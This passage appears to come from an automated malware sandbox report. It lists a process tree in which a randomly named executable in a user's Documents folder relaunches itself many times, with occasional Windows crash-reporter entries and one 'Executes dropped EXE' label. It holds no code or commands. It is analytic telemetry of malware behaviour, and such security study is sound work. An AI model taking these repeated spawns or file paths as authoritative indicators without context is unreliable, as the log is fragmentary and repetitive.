    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:7132
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 7132 -s 24
      4⤵
      Program crash
      PID:6360
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:6264
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:1192
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1192 -s 24
      4⤵
      Program crash
      PID:6840
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:6892
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:7112
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:3992
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:7620
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:7928
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:7308
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 7308 -s 24
      4⤵
      Program crash
      PID:7748
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:4488
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:3220
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:8044
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:2856
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:4128
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:4372
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:8520
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:8968
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:8448
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:8904
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:8332
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:6368
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:8208
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:8920
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 8920 -s 24
      4⤵
      Program crash
      PID:4276
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:1044
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:2224
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:8304
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:300
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:4376
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:6600
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:5244
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:6036
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:9524
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:9960
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 9960 -s 24
      4⤵
      Program crash
      PID:9440
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:9428
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:9844
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:9384
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:10472
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:11000
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 11000 -s 24
      4⤵
      Program crash
      PID:10300
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:5048
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:11132
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:10880
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:8372
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:6400
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:10540
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:10592
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:10524
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:10320
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:4532
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:11120
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:7320
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:11356
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:11672
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:11828
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:12268
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:10040
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:11912
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:10540
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:7280
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:12292
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:12820
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:13220
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:7316
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:13996
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 13996 -s 24
      4⤵
      Program crash
      PID:14244
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:13064
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:8868
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:10200
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:15040
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:5588
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:14600
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:14508
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:15396
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:15848
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 15848 -s 24
      4⤵
      Program crash
      PID:14300
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:12752
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:15548
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 15548 -s 24
      4⤵
      Program crash
      PID:6912
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:3028
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:13876
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 13876 -s 24
      4⤵
      Executes dropped EXE
      PID:384
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:12952
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:15804
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:17124
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:16268
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:16264
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:16912
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:13876
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:14828
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:14720
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:17640
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:18024
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:12400
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:17692
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:16328
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:17556
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:15368
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:18044
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:16116
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:18528
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:18864
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:16232
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:15936
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 15936 -s 24
      4⤵
      PID:16864
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:12988
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:17664
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:9328
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:19760
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:20148
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:20436
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:11108
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:20012
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:18064
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:14084
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:14064
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:20280
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 20280 -s 24
      4⤵
      PID:20876
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:20780
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:21236
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:20524
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:20860
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:19480
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:7892
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:21456
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:15204
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:15084
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:21508
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:15452
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:22004
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:22464
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:21596
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:21580
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:17980
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:21940
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 21940 -s 24
      4⤵
      PID:22484
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:20684
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:17420
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:21192
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:16908
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:22072
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:22248
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:22364
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:18772
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:21108
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
    3⤵
    PID:23064
- - C:\Users\Admin\Documents\QDg5Y60Vu2T4nXY5u_A_CjCt.exe
